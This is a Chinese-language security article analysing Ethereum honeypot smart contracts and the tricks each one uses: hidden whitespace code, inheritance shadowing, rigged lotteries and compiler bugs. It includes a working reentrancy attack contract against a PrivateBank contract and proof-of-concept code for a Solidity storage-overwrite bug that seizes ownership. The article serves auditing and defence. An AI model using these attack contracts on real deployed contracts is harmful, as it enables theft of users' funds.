以太坊蜜罐智慧合約分析

FLy_鵬程萬里發表於2018-08-24

 

0×00 前言

在學習區塊鏈相關知識的過程中,拜讀過一篇很好的文章《The phenomenon of smart contract honeypots》,作者詳細分析了他遇到的三種蜜罐智慧合約,並將相關智慧合約整理收集到Github專案smart-contract-honeypots

本文將對文中和評論中提到的 smart-contract-honeypots 和 Solidlity-Vulnerable 專案中的各蜜罐智慧合約進行分析,根據分析結果將蜜罐智慧合約的欺騙手段分為以下四個方面:

析結果將蜜罐智慧合約的欺騙手段分為以下四個方面:

古老的欺騙手段

神奇的邏輯漏洞

新穎的賭博遊戲

黑客的漏洞利用

基於已知的欺騙手段,我們通過內部的以太坊智慧合約審計系統一共尋找到 118 個蜜罐智慧合約地址,一共騙取了 34.7152916 個以太幣(2018/06/26 價值 102946 元人民幣),詳情請移步文末附錄部分。

0×01 古老的欺騙手段

對於該類蜜罐合約來說,僅僅使用最原始的欺騙手法。 這種手法是拙劣的,但也有著一定的誘導性。

1.1 超長空格的欺騙:WhaleGiveaway1

Github地址:smart-contract-honeypots/WhaleGiveaway1.sol

智慧合約地址:0x7a4349a749e59a5736efb7826ee3496a2dfd5489

在 github 上看到的合約程式碼如下:

 

細讀程式碼會發現 GetFreebie() 的條件很容易被滿足:

 

 

if(msg.value>1 ether)
{
    msg.sender.transfer(this.balance);
}

只要轉賬金額大於 1 ether,就可以取走該智慧合約裡所有的以太幣。

但事實絕非如此,讓我們做出錯誤判斷的原因在於 github 在顯示超長行時不會自動換行。下圖是設定了自動換行的本地編輯器截圖:

 

 

 

圖中第 21 行和第 29 行就是蜜罐作者通過 超長空格 隱藏起來的程式碼。所以實際的 脆弱點 是這樣的:

if(msg.value>1 ether)
{ 
    Owner.transfer(this.balance);
    msg.sender.transfer(this.balance);
}       

先將賬戶餘額轉給合約的創立者,然後再將剩餘的賬戶餘額(也就是0)轉給轉賬的使用者(受害者)

與之類似的智慧合約還有 TestToken,留待有興趣的讀者繼續分析:

Github地址:smart-contract-honeypots/TestToken.sol

0×02 神奇的邏輯漏洞

該類蜜罐合約用 2012年春晚小品《天網恢恢》中這麼一段來表現最為合適:

送餐員: 外賣一共30元 騙子B: 沒零的,100! 送餐員: 行,我找你……70!(送餐員掏出70給騙子B) 騙子A: 哎,等會兒等會兒,我這有零的,30是吧,把那100給我吧!給,30!(騙子A拿走了B給送餐員的100元,又給了送餐員30元) 送餐員: 30元正好,再見!

該類漏洞也是如此,在看起來正常的邏輯下,總藏著這樣那樣的陷阱。

2.1 天上掉下的餡餅:Gift_1_ETH

Github地址:smart-contract-honeypots/Gift_1_ETH.sol

智慧合約地址:0xd8993F49F372BB014fB088eaBec95cfDC795CBF6

合約關鍵程式碼如下:

 

contract Gift_1_ETH
{
    bool passHasBeenSet = false;
    bytes32 public hashPass;
    function SetPass(bytes32 hash)
    payable
    {
        if(!passHasBeenSet&&(msg.value >= 1 ether))
        {
            hashPass = hash;
        }
    }
    function GetGift(bytes pass) returns (bytes32)
    {
        if( hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
        return sha3(pass);
    }
    function PassHasBeenSet(bytes32 hash)
    {
        if(hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}

整個智慧合約的邏輯很簡單,三個關鍵函式功能如下:

SetPass(): 在轉賬大於 1 ether 並且 passHasBeenSet 為 false (預設值就是false),就可以設定密碼 hashPass。

GetGift(): 在輸入的密碼加密後與 hashPass 相等的情況下,就可以取走合約裡所有的以太幣。

PassHasBeenSet():如果輸入的 hash 與 hashPass 相等,則 passHasBeenSet 將會被設定成 true。

如果我們想取走合約裡所有的以太幣,只需要按照如下流程進行操作:

 

 

 

推特使用者 Alexey Pertsev 還為此寫了一個獲取禮物的 EXP

但實際場景中,受害者轉入一個以太幣後並沒有獲取到整個智慧合約的餘額,這是為什麼呢?

 

這是因為在合約創立之後,任何人都可以對合約進行操作,包括合約的建立者:

 

 

合約建立者在合約 被攻擊 前,設定一個只有建立者知道的密碼並將 passHasBeenSet 置為 True,將只有合約建立者可以取出智慧合約中的以太幣。

與之類似的智慧合約還有 NEW_YEARS_GIFT:

Github地址:Solidlity-Vulnerable/honeypots/NEW_YEARS_GIFT.sol

智慧合約地址:0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B

2.2 合約永遠比你有錢:MultiplicatorX3

Github地址:smart-contract-honeypots/MultiplicatorX3.sol smart-contract-honeypots/Multiplicator.sol

智慧合約地址:0x5aA88d2901C68fdA244f1D0584400368d2C8e739

合約關鍵程式碼如下:

function multiplicate(address adr)
    public
    payable
    {
        if(msg.value>=this.balance)
        {        
            adr.transfer(this.balance+msg.value);
        }
    }

對於 multiplicate() 而言,只要你轉賬的金額大於賬戶餘額,就可以把 賬戶餘額 和 你本次轉賬的金額 都轉給一個可控的地址。

在這裡我們需要知道:在呼叫 multiplicate() 時,賬戶餘額 = 之前的賬戶餘額 + 本次轉賬的金額。所以 msg.value >= this.balance 只有在原餘額為0,轉賬數量為0的時候才會成立。也就意味著,賬戶餘額永遠不會比轉賬金額小。

與之類似的智慧合約還有 PINCODE:

Github地址:Solidlity-Vulnerable/honeypots/PINCODE.sol

智慧合約地址:0x35c3034556b81132e682db2f879e6f30721b847c

2.3 誰是合約主人:TestBank

Github地址:smart-contract-honeypots/TestBank.sol

智慧合約地址:0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9

合約關鍵程式碼如下:

 contract Owned {
     address public owner;
     function Owned() { owner = msg.sender; }
     modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
 }
 contract TestBank is Owned {
     address public owner = msg.sender;
     uint256 ecode;
     uint256 evalue;
     function useEmergencyCode(uint256 code) public payable {
         if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;
     }
     function withdraw(uint amount) public onlyOwner {
         require(amount <= this.balance);
         msg.sender.transfer(amount);
     }

根據關鍵程式碼的內容,如果我們可以通過 useEmergencyCode() 中的判斷,那就可以將 owner 設定為我們的地址,然後通過 withdraw() 函式就可以取出合約中的以太幣。

如果你也有了上述的分析,那麼就需要學習一下 Solidity 中繼承的相關知識參考連結5

該部分引用自參考連結5 重點:Solidity的繼承原理是程式碼拷貝,因此換句話說,繼承的寫法總是能夠寫成一個單獨的合約。 情況五:子類父類有相同名字的變數。 父類A的test1操縱父類中的variable,子類B中的test2操縱子類中的variable,父類中的test2因為沒被呼叫所以不存在。 解釋:對EVM來說,每個storage variable都會有一個唯一標識的slot id。在下面的例子說,雖然都叫做variable,但是從bytecode角度來看,他們是由不同的slot id來確定的,因此也和變數叫什麼沒有關係。

 

contract A{  
    uint variable = 0;  
    function test1(uint a)  returns(uint){  
       variable++;  
       return variable;  
    }  
   function test2(uint a)  returns(uint){  
       variable += a;  
       return variable;  
    }  
}  
contract B is A{  
    uint variable = 0;  
    function test2(uint a) returns(uint){  
        variable++;  
        return variable;  
    }  
}  
====================  
contract B{  
    uint variable1 = 0;  
    uint variable2 = 0;  
    function test1(uint a)  returns(uint v){  
        variable1++;  
       return variable1;  
    }  
    function test2(uint a) returns(uint v){  
        variable2++;  
        return variable2;  
    }  
}  

根據樣例中的程式碼,我們將該合約的核心程式碼修改如下:

contract TestBank is Owned {
    address public owner1 = msg.sender;
    modifier onlyOwner{ if (msg.sender != owner1) revert(); _; }
    address public owner2 = msg.sender;
    uint256 ecode;
    uint256 evalue;
    function useEmergencyCode(uint256 code) public payable {
        if ((code == ecode) && (msg.value == evalue)) owner2 = msg.sender;
    }
    function withdraw(uint amount) public onlyOwner {
        require(amount <= this.balance);
        msg.sender.transfer(amount);
    }

變數 owner1 是父類 Owner 中的 owner 變數,而 owner2 是子類 TestBank 中的變數。useEmergencyCode()函式只會修改 owner2,而非 owner1,自然無法呼叫 withdraw()。 由於呼叫 useEmergencyCode() 時需要轉作者設定的 evalue wei 的以太幣,所以只會造成以太幣白白丟失。

0×03 新穎的賭博遊戲

區塊鏈的去中心化給博彩行業帶來了新的機遇,然而久賭必輸這句話也不無道理。 本章將會給介紹四個基於區塊鏈的賭博遊戲並分析莊家如何贏錢的。

3.1 加密輪盤賭輪:CryptoRoulette

Github地址:smart-contract-honeypots/CryptoRoulette.sol Solidlity-Vulnerable/honeypots/CryptoRoulette.sol

智慧合約地址:0x94602b0E2512DdAd62a935763BF1277c973B2758

合約關鍵程式碼如下:

 // CryptoRoulette
 //
 // Guess the number secretly stored in the blockchain and win the whole contract balance!
 // A new number is randomly chosen after each try.
 //
 // To play, call the play() method with the guessed number (1-20).  Bet price: 0.1 ether
 contract CryptoRoulette {
     uint256 private secretNumber;
     uint256 public lastPlayed;
     uint256 public betPrice = 0.1 ether;
     address public ownerAddr;
     struct Game {
         address player;
         uint256 number;
     }
     function shuffle() internal {
         // randomly set secretNumber with a value between 1 and 20
         secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;
     }
     function play(uint256 number) payable public {
         require(msg.value >= betPrice && number <= 10);
         Game game;
         game.player = msg.sender;
         game.number = number;
         gamesPlayed.push(game);
         if (number == secretNumber) {
             // win!
             msg.sender.transfer(this.balance);
         }
         shuffle();
         lastPlayed = now;
     }
     function kill() public {
         if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
             suicide(msg.sender);
         }
     }
 }

該合約設定了一個 1-20 的隨機數:secretNumber,玩家通過呼叫 play() 去嘗試競猜這個數字,如果猜對,就可以取走合約中所有的錢並重新設定隨機數 secretNumber。

這裡存在兩層貓膩。第一層貓膩就出在這個 play()。play() 需要滿足兩個條件才會執行:

msg.value >= betPrice,也就是每次競猜都需要傳送至少 0.1 個以太幣。

number <= 10,競猜的數字不能大於 10。

由於生成的隨機數在 1-20 之間,而競猜的數字不能大於 10, 那麼如果隨機數大於 10 呢?將不會有人能競猜成功!所有被用於競猜的以太幣都會一直儲存在智慧合約中。最終合約擁有者可以通過 kill() 函式取出智慧合約中所有的以太幣。

在實際的場景中,我們還遇到過生成的隨機數在 1-10 之間,競猜數字不能大於 10 的智慧合約。這樣的合約看似保證了正常的競猜概率,但卻依舊是蜜罐智慧合約!這與前文說到的第二層貓膩有關。我們將會在下一節 3.2 開放地址彩票:OpenAddressLottery 中說到相關細節。有興趣的讀者可以讀完 3.2節 後再回來重新分析一下該合約。

3.2 開放地址彩票:OpenAddressLottery

3.2.1 蜜罐智慧合約分析

Github地址:Solidlity-Vulnerable/honeypots/OpenAddressLottery.sol

智慧合約地址:0xd1915A2bCC4B77794d64c4e483E43444193373Fa

合約關鍵程式碼如下:

 contract OpenAddressLottery{
    struct SeedComponents{
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }
    address owner; //address of the owner
    uint private secretSeed; //seed used to calculate number of an address
    uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks
    uint LuckyNumber = 1; //if the number of an address equals 1, it wins
    function forceReseed() { //reseed initiated by the owner - for testing purposes
    require(msg.sender==owner);
    SeedComponents s;
    s.component1 = uint(msg.sender);
    s.component2 = uint256(block.blockhash(block.number - 1));
    s.component3 = block.difficulty*(uint)(block.coinbase);
    s.component4 = tx.gasprice * 7;
    reseed(s); //reseed
    }
 }

OpenAddressLottery的邏輯很簡單,每次競猜,都會根據競猜者的地址隨機生成 0 或者 1,如果生成的值和 LuckyNumber 相等的話(LuckyNumber初始值為1),那麼競猜者將會獲得 1.9 倍的獎金。

對於安全研究人員來說,這個合約可能是這些蜜罐智慧合約中價值最高的一個。在這裡,我將會使用一個 demo 來說一說 Solidity 編譯器的一個 bug:

pragma solidity ^0.4.24;
contract OpenAddressLottery_test
{
    address public addr = 0xa;
    uint    public b    = 2;
    uint256 public c    = 3;
    bytes   public d    = "zzzz";
    struct SeedComponents{
        uint256 component1;
        uint256 component2;
        uint256 component3;
        uint256 component4;
    }
    function test() public{
        SeedComponents s;
        s.component1 = 252;
        s.component2 = 253;
        s.component3 = 254;
        s.component4 = 255;
    }
}

在執行 test() 之前,addr、b、c、d的值如下圖所示:

 

在執行了 test() 之後,各值均被覆蓋。

 

這個 bug 已經被提交給 官方,並將在 Solidity 0.5.0 中被修復。

 

 

截止筆者發文,Solidity 0.5.0 依舊沒有推出。這也就意味著,目前所有的智慧合約都可能會受到該 bug 的影響。我們將會在 3.2.2節 中說一說這個 bug 可能的影響面。想了解蜜罐智慧合約而非bug攻擊面的讀者可以跳過這一小節

對於該蜜罐智慧合約而言,當 forceReseed()被呼叫後,s.component4 = tx.gasprice * 7; 將會覆蓋掉 LuckyNumber 的值,使之為 7。而使用者生成的競猜數字只會是 1 或者 0,這也就意味著使用者將永遠不可能贏得彩票。

3.2.2 Solidity 0.4.x 結構體區域性變數量引起的變數量覆蓋

在 3.2.1節中,介紹了OpenAddressLottery 智慧合約使用未初始化的結構體區域性變數直接覆蓋智慧合約中定義的前幾個變數,從而達到修改變量值的目的。

按照這種思路,特意構造某些引數的順序,比如將智慧合約的餘額值放在首部,那麼通過變量覆蓋就可以修改餘額值;除此之外,如果智慧合約中常用的 owner 變量定義在首部,便可以造成許可權提升。

示例程式碼1如下(編譯器選擇最新的0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang):

pragma solidity ^0.4.0;
contract Test {
        address public owner;
        address public a;
        struct Seed {
                address x;
                uint256 y;
        }
        function Test() {
                owner = msg.sender;
                a = 0x1111111111111111111111111111111111111111;
        }
        function fake_foo(uint256 n) public {
                Seed s;
                s.x = msg.sender;
                s.y = n;
        }
}

 

如圖所示,攻擊者 0x583031d1113ad414f02576bd6afabfb302140225 在呼叫 fake_foo() 之後,成功將 owner 修改成自己。

在 2.3節 中,介紹了 Solidity 的繼承原理是程式碼拷貝。也就是最終都能寫成一個單獨的合約。這也就意味著,該 bug 也會影響到被繼承的父類變數,示例程式碼2如下:

pragma solidity ^0.4.0;
contract Owner {
    address public owner;
    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }
}
contract Test is Owner {
    struct Seed {
        address x;
    }
    function Test() {
        owner = msg.sender;
    }
    function fake_foo() public {
        Seed s;
        s.x = msg.sender;
    }
}

 

 

 

相比於示例程式碼1,示例程式碼2 更容易出現在現實生活中。由於 示例程式碼2 配合複雜的邏輯隱蔽性較高,更容易被不良合約釋出者利用。比如利用這種特性留 後門。

參考連結10中,開發者認為由於某些原因,讓編譯器通過警告的方式通知使用者更合適。所以在目前 0.4.x 版本中,編譯器會通過警告的方式通知智慧合約開發者;但這種存在安全隱患的程式碼是可以通過編譯並部署的。

solidity 開發者將在 0.5.0 版本將該類問題歸於錯誤處理。

3.3 山丘之王:KingOfTheHill

Github地址:Solidlity-Vulnerable/honeypots/KingOfTheHill.sol

智慧合約地址:0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a

 

合約關鍵程式碼如下:

 contract Owned {
     address owner;    
         function Owned() {
         owner = msg.sender;
     }
     modifier onlyOwner{
         if (msg.sender != owner)
             revert();
                 _;
     }
 }
 contract KingOfTheHill is Owned {
     address public owner;
     function() public payable {
         if (msg.value > jackpot) {
             owner = msg.sender;
             withdrawDelay = block.timestamp + 5 days;
         }
         jackpot+=msg.value;
     }
     function takeAll() public onlyOwner {
         require(block.timestamp >= withdrawDelay);
         msg.sender.transfer(this.balance);
         jackpot=0;
     }
 }

這個合約的邏輯是:每次請求 fallback(),變數 jackopt 就是加上本次傳入的金額。如果你傳入的金額大於之前的 jackopt,那麼 owner 就會變成你的地址。

看到這個程式碼邏輯,你是否感覺和 2.2節 、 2.3節 有一定類似呢?

讓我們先看第一個問題:msg.value > jackopt是否可以成立?答案是肯定的,由於 jackopt+=msg.value 在 msg.value > jackopt 判斷之後,所以不會出現 2.2節 合約永遠比你錢多的情況。

然而這個合約存在與 2.3節 同樣的問題。在 msg.value > jackopt 的情況下,KingOfTheHill 中的 owner 被修改為傳送者的地址,但 Owned 中的 owner 依舊是合約建立人的地址。這也就意味著取錢函式 takeAll() 將永遠只有莊家才能呼叫,所有的賬戶餘額都將會進入莊家的口袋。

與之類似的智慧合約還有 RichestTakeAll:

Github地址:Solidlity-Vulnerable/honeypots/RichestTakeAll.sol

智慧合約地址:0xe65c53087e1a40b7c53b9a0ea3c2562ae2dfeb24

3.4 以太幣競爭遊戲:RACEFORETH

Github地址:Solidlity-Vulnerable/honeypots/RACEFORETH.sol

 

合約關鍵程式碼如下:

 contract RACEFORETH {
    uint256 public SCORE_TO_WIN = 100 finney;
    uint256 public speed_limit = 50 finney;
    function race() public payable {
        if (racerSpeedLimit[msg.sender] == 0) { racerSpeedLimit[msg.sender] = speed_limit; }
        require(msg.value <= racerSpeedLimit[msg.sender] && msg.value > 1 wei);
        racerScore[msg.sender] += msg.value;
        racerSpeedLimit[msg.sender] = (racerSpeedLimit[msg.sender] / 2);
        latestTimestamp = now;
        // YOU WON
        if (racerScore[msg.sender] >= SCORE_TO_WIN) {
            msg.sender.transfer(PRIZE);
        }
    }
    function () public payable {
        race();
    }
 }

這個智慧合約有趣的地方在於它設定了最大轉賬上限是 50 finney,最小轉賬下限是 2 wei(條件是大於 1 wei,也就是最小 2 wei)。每次轉賬之後,最大轉賬上限都會縮小成原來的一半,當總轉賬數量大於等於 100 finney,那就可以取出莊家在初始化智慧合約時放進的錢。

假設我們轉賬了 x 次,那我們最多可以轉的金額如下:

 50 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3  ...... 50 * (1/2)^x

根據高中的知識可以知道,該數字將會永遠小於 100

 50 * (1/2)^0 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... < 50 * 2 

而智慧合約中設定的贏取條件就是總轉賬數量大於等於 100 finney。這也就意味著,沒有人可以達到贏取的條件!

0×04 黑客的漏洞利用

利用重入漏洞的The DAO事件直接導致了以太坊的硬分叉、利用整數溢位漏洞可能導致代幣交易出現問題。 DASP TOP10 中的前三: 重入漏洞、訪問控制、算數問題在這些蜜罐智慧合約中均有體現。黑客在這場欺詐者的遊戲中扮演著不可或缺的角色。

4.1 私人銀行(重入漏洞):PrivateBank

Github地址:smart-contract-honeypots/PrivateBank.sol Solidlity-Vulnerable/honeypots/PRIVATE_BANK.sol

智慧合約地址:0x95d34980095380851902ccd9a1fb4c813c2cb639

合約關鍵程式碼如下:

 function CashOut(uint _am)
{
        if(_am<=balances[msg.sender])
        {
                if(msg.sender.call.value(_am)())
                {
                        balances[msg.sender]-=_am;
                        TransferLog.AddMessage(msg.sender,_am,"CashOut");
                }
        }
}

瞭解過 DAO 事件以及重入漏洞可以很明顯地看出,CashOut() 存在重入漏洞。

在瞭解重入漏洞之前,讓我們先了解三個知識點:

Solidity 的程式碼執行限制。為了防止以太坊網路被攻擊或濫用,智慧合約執行的每一步都需要消耗 gas,俗稱燃料。如果燃料消耗完了但合約沒有執行完成,合約狀態會回滾。

addr.call.value()(),通過 call() 的方式進行轉賬,會傳遞目前所有的 gas 進行呼叫。

回退函式fallback(): 回退函式將會在智慧合約的 call 中被呼叫。

如果我們呼叫合約中的 CashOut(),關鍵程式碼的呼叫過程如下圖:


由於回退函式可控,如果我們在回退函式中再次呼叫 CashOut(), 由於滿足 _am<=balances[msg.sender] ,將會再次轉賬,因此不斷迴圈,直至 合約中以太幣被轉完或 gas  消耗完。

 

 

 

根據上述分析寫出攻擊的程式碼如下:

contract Attack {
    address owner;
    address victim;
    function Attack() payable { owner = msg.sender; }
    function setVictim(address target)  { victim = target; }
    function step1(uint256 amount)  payable {
        if (this.balance >= amount) {
            victim.call.value(amount)(bytes4(keccak256("Deposit()")));
        }
    }
    function step2(uint256 amount)  {
        victim.call(bytes4(keccak256("CashOut(uint256)")), amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack()  {
        selfdestruct(owner);
    }
    function startAttack(uint256 amount)  {
        step1(amount);
        step2(amount / 2);
    }
    function () payable {
        victim.call(bytes4(keccak256("CashOut(uint256)")), msg.value);
    }
}

模擬的攻擊步驟如下:

正常使用者A(地址:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)向該合約存入 50 ether。

1.惡意攻擊者 B(地址:0x583031d1113ad414f02576bd6afabfb302140225)新建惡意智慧合約Attack,實施攻擊。不僅取出了自己存入的 10 ether,還取出了 A 存入的 50 ether。使用者 A的餘額還是50 ether,而惡意攻擊者 B 的餘額也因為發生溢位變成 115792089237316195423570985008687907853269984665640564039407584007913129639936。

雖然此時使用者A的餘額仍然存在,但由於合約中已經沒有以太幣了,所以A將無法取出其存入的50個以太幣

根據以上的案例可以得出如下結論:當普通使用者將以太幣存取該蜜罐智慧合約地址,他的代幣將會被惡意攻擊者通過重入攻擊取出,雖然他依舊能查到在該智慧合約中存入的代幣數量,但將無法取出相應的代幣。

4.2 偷樑換柱的地址(訪問控制):firstTest

Github地址:smart-contract-honeypots/firstTest.sol

智慧合約地址:0x42dB5Bfe8828f12F164586AF8A992B3a7B038164

合約關鍵程式碼如下:

   contract firstTest
  {
      address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;
      address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13;
      address adr;
      uint256 public Limit= 1000000000000000000;
      function withdrawal()
      payable public
      {
          adr=msg.sender;
          if(msg.value>Limit)
          {  
              emails.delegatecall(bytes4(sha3("logEvent()")));
              adr.send(this.balance);
          }
      }
  }

邏輯看起去很簡單,只要在呼叫 withdrawal() 時傳送超過 1 ether,該合約就會把餘額全部轉給傳送者。至於通過 delegatecall() 呼叫的 logEvent(),誰在意呢?

在 DASP TOP10 的漏洞中,排名第二的就是訪問控制漏洞,其中就說到 delegatecall() 。

delegatecall() 和 call() 功能類似,區別僅在於 delegatecall() 僅使用給定地址的程式碼,其它資訊則使用當前合約(如儲存,餘額等等)。這也就意味著呼叫的 logEvent() 也可以修改該合約中的引數,包括 adr。

舉個例子,在第一個合約中,我們定義了一個變數 adr,在第二個合約中通過 delegatecall() 呼叫第一個合約中的 logEvent()。第二個合約中的第一個變數就變成了 0×1111。這也就意味著攻擊者完全有能力在 logEvent() 裡面修改 adr 的值。

為了驗證我們的猜測,使用 evmdis 逆向 0x25df6e3da49f41ef5b99e139c87abc12c3583d13 地址處的 opcodelogEvent() 處的關鍵邏輯如下:

這也就意味著,在呼叫蜜罐智慧合約 firstTest 中的 withdrawal() 時,emails.delegatecall(bytes4(sha3(“logEvent()”))); 將會判斷第一個變數 Owner 是否是 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B,如果相等,就把 adr 設定為當前合約的地址。最終將會將該合約中的餘額轉給當前合約而非訊息的傳送者。adr 引數被偷樑換柱!

4.3 僅僅是測試?(整數溢位):For_Test

Github地址:Solidlity-Vulnerable/honeypots/For_Test.sol

智慧合約地址:0x2eCF8D1F46DD3C2098de9352683444A0B69Eb229

合約關鍵程式碼如下:

 pragma solidity ^0.4.19;
 contract For_Test
 {
         function Test()
         payable
         public
         {
             if(msg.value> 0.1 ether)
             {
                 uint256 multi =0;
                 uint256 amountToTransfer=0;
                 for(var i=0;i<msg.value*2;i++)
                 {
                     multi=i*2;
                     if(multi<amountToTransfer)
                     {
                       break;  
                     }
                     else
                     {
                         amountToTransfer=multi;
                     }
                 }    
                 msg.sender.transfer(amountToTransfer);
             }
         }
 }

在說邏輯之前,我們需要明白兩個概念:

msg.value 的單位是 wei。舉個例子,當我們轉 1 ether 時,msg.value = 1000000000000000000 (wei)

當我們使用 var i時,i 的資料型別將是 uint8,這個可以在 Solidity 官方手冊上找到。

如同官方文件所說,當 i = 255 後,執行 i++ ,將會發生整數溢位,i 的值重新變成 0,這樣迴圈將不會結束。

 

根據這個智慧合約的內容,只要轉超過 0.1 ether 並呼叫 Test() ,將會進入迴圈最終得到 amountToTransfer 的值,並將 amountToTransfer wei 傳送給訪問者。在不考慮整數溢位的情況下,amountToTransfer 將會是 msg.value * 2。這也是這個蜜罐合約吸引人的地方。

正是由於 for 迴圈中的 i 存在整數溢位,在 i=255 執行 i++ 後, i = 0 導致 multi = 0 < amountToTransfer,提前終止了迴圈。

細細算來,轉賬至少了 0.1 ether(100000000000000000 wei) 的以太幣,該智慧合約轉回 510 wei以太幣。損失巨大。

與之類似的智慧合約還有 Test1:

 

Github地址:smart-contract-honeypots/Test1.sol

4.4 股息分配(老版本編譯器漏洞):DividendDistributor

Github地址:Solidlity-Vulnerable/honeypots/DividendDistributor.sol

智慧合約地址:0x858c9eaf3ace37d2bedb4a1eb6b8805ffe801bba

合約關鍵程式碼如下:

 function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) protected
 {
        if(! target.call.value(amount)() )
                throw;
         Transfer(amount, message, target, currentOwner);
 }
 function divest(uint amount) public {
        if ( investors[msg.sender].investment == 0 || amount == 0)
                throw;
         // no need to test, this will throw if amount > investment
         investors[msg.sender].investment -= amount;
         sumInvested -= amount; 
         this.loggedTransfer(amount, "", msg.sender, owner);
 }

該智慧合約大致有存錢、計算利息、取錢等操作。在最開始的分析中,筆者並未在整個合約中找到任何存在漏洞、不正常的地方,使用 Remix 模擬也沒有出現任何問題,一度懷疑該合約是否真的是蜜罐。直到開啟了智慧合約地址對應的頁面:

 

 

 

在 Solidity 0.4.12 之前,存在一個bug,如果空字串 ”" 用作函式呼叫的引數,則編碼器會跳過它。

舉例:當我們呼叫了 send(from,to,”",amount), 經過編譯器處理後的呼叫則是 send(from,to,amount)。 編寫測試程式碼如下:

pragma solidity ^0.4.0;
contract DividendDistributorv3{
    event Transfer(uint amount,bytes32 message,address target,address currentOwner);
    function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) 
    {
        Transfer(amount, message, target, currentOwner);
    }
    function divest() public {
        this.loggedTransfer(1, "a", 0x1, 0x2);
        this.loggedTransfer(1, "", 0x1, 0x2);
    }
}

在 Remix 中將編譯器版本修改為 0.4.11+commit.68ef5810.Emscripten.clang後,執行 divest()函式結果如下:

 

 

 

在這個智慧合約中也是如此。當我們需要呼叫 divest() 取出我們存進去的錢,最終將會呼叫 this.loggedTransfer(amount, “”, msg.sender, owner);。

因為編譯器的 bug,最終呼叫的是 this.loggedTransfer(amount, msg.sender, owner);,具體的轉賬函式處就是 owner.call.value(amount) 。成功的將原本要轉給 msg.sender()的以太幣轉給 合約的擁有者。合約擁有者成功盜幣!

0×05 後記

在分析過程中,我愈發認識到這些蜜罐智慧合約與原始的蜜罐概念是有一定差別的。相較於蜜罐是誘導攻擊者進行攻擊,智慧合約蜜罐的目的變成了誘導別人轉賬到合約地址。在欺騙手法上,也有了更多的方式,部分方式具有強烈的參考價值,值得學習。

這些蜜罐智慧合約的目的性更強,顯著區別與普通的 釣魚 行為。相較於釣魚行為面向大眾,蜜罐智慧合約主要面向的是 智慧合約開發者、智慧合約程式碼審計人員 或 擁有一定技術背景的黑客。因為蜜罐智慧合約門檻更高,需要能夠看懂智慧合約才可能會上當,非常有針對性,所以使用 蜜罐 這個詞,我認為是非常貼切的。

這也對 智慧合約程式碼審計人員 提出了更高的要求,不能只看懂程式碼,要了解程式碼潛在的邏輯和威脅、瞭解外部可能的影響面(例如編輯器 bug 等),才能知其然也知其所以然。

對於 智慧合約程式碼開發者 來說,先知攻 才能在程式碼寫出前就擁有一定的警惕心理,從源頭上減少存在漏洞的程式碼。

目前智慧合約正處於新生階段,流行的 solidity 語言也還沒有釋出正式 1.0 版本,很多語⾔的特性還需要發掘和完善;同時,區塊鏈的相關業務也暫時沒有出現完善的流水線操作。正因如此,在當前這個階段智慧合約程式碼審計更是相當的重要,合約的部署一定要經過嚴格的程式碼審計。

最後感謝 404實驗室 的每一位小夥伴,分析過程中的無數次溝通交流,讓這篇文章羽翼漸豐。

針對目前主流的以太坊應用,知道創宇提供專業權威的智慧合約審計服務,規避因合約安全問題導致的財產損失,為各類以太坊應用安全保駕護航。

知道創宇404智慧合約安全審計團隊: https://www.scanv.com/lca/index.html

聯絡電話:(086) 136 8133 5016(沈經理,工作日:10:00-18:00)

0×06 參考連結

Github smart-contract-honeypots

Github Solidlity-Vulnerable

The phenomenon of smart contract honeypots

Solidity 中文手冊

Solidity原理(一):繼承(Inheritance)

區塊鏈安全 – DAO攻擊事件解析

以太坊智慧合約安全入門瞭解一下

Exposing Ethereum Honeypots

Solidity Bug Info

Uninitialised storage references should not be allowed

0×07 附錄:已知蜜罐智慧合約地址以及交易情況

基於已知的欺騙手段,我們通過內部的以太坊智慧合約審計系統一共尋找到 118 個蜜罐智慧合約地址,具體結果如下:

 

 

 

相關文章